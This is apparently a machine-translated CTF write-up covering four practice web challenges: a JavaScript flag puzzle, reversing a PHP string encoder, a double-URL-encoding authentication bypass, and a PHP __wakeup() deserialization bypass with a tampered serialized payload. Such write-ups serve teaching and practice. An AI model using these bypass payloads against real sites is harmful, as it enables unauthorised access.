攻撃と防御の世界9-12

記事のディレクトリ

NaNNaNNaNNaN-バットマン

  • 添付ファイルをダウンロードし、最後に評価を変更してアラートを出します
  • 新しく作成した1.htmlファイルにコードを配置します
  • コードコンテンツがポップアップ表示されます
  • コード監査のコピーアンドペースト
 function $()
{
    
    
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
    
    
                        
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it'","_","n"];
                        var s=[t,n,r,i];
                        
                        for(var o=0;o<13;++o){
    
    
                            document.write(s[o%4][0]);
                            s[o%4].splice(0,1)}
                        }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
  • 通常のスペルが可能 payload:be0f23233ace98aac7be9
  • コードを個別に取り出すこともできます
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
    
    
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
 }

web2

  • これは、ルーキーツールが復号化に直接使用するphpです。
  • 最初にコードを監査します
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    
    
    $_o=strrev($str);
    // 反转字符串
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
    
    
       
        $_c=substr($_o,$_0,1);
        //从首位开始一个一个截取
        $__=ord($_c)+1;
        //返回ascii值 并且+1
        $_c=chr($__);
        //返回+1后的编码值
        $_=$_.$_c;   
        //连接
    } 
    return str_rot13(strrev(base64_encode($_)));
    // base64编码 反转字符串 再rot13编码
}

highlight_file(__FILE__); 
?>
  • PHPコードを復号化する
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
    
      
         $_c=substr($_,$_0,1);  
         $__=ord($_c)-1;  
         $_c=chr($__);  
         $_o=$_o.$_c;   
    } 
echo strrev($_o);
?>

PHP2

  • 失敗を再現する最初の問題
  • パッケージをキャプチャするためにdirsearchとburpsuitを試しましたが、エントリポイントが見つかりませんでした。
  • wpを読む
  • index.phpsにアクセスします

phpsファイルはbaiphpのソースコードファイルであり、ユーザー(訪問者)がphpコードdaoを表示するために通常使用されます。これは、ユーザーがphpファイルのコンテンツをWebブラウザーから直接表示できないためです。

  • コードをお見せしたい
<?php
if("admin"===$_GET[id]) {
    
    
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
    
    
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?
  • 簡単なコード監査
  • まず、getによってアップロードされたIDをadminと等しくすることはできません
  • 次に、URLデコードを実行し、adminと等しい必要があります
  • 焦点はURLデコードにあります
  • ?id =%2561dmin
  • サーバーのURLがデコードされた後、最初のif is admin ===%61dminが満たされません
  • php自体を追加することで満足できます

unsialize3

  • この質問は、_wakeup()マジックメソッドのバイパスです。
  • 逆シリアル化するときに_wakeup()関数が呼び出されます
  • これが最初にシリアル化されたコードです
<?php
class xctf{
    
    
public $flag = '111';}
$a = new xctf();
$b = serialize($a);
echo $b;
?>
  • O:4:“ xctf”:1:{s:4:“ flag”; s:3:“ 111”;}
  • ペイロード:O:4:“ xctf”:2:{s:4:“ flag”; s:3:“ 111”;}

おすすめ

転載: blog.csdn.net/CyhDl666/article/details/114274280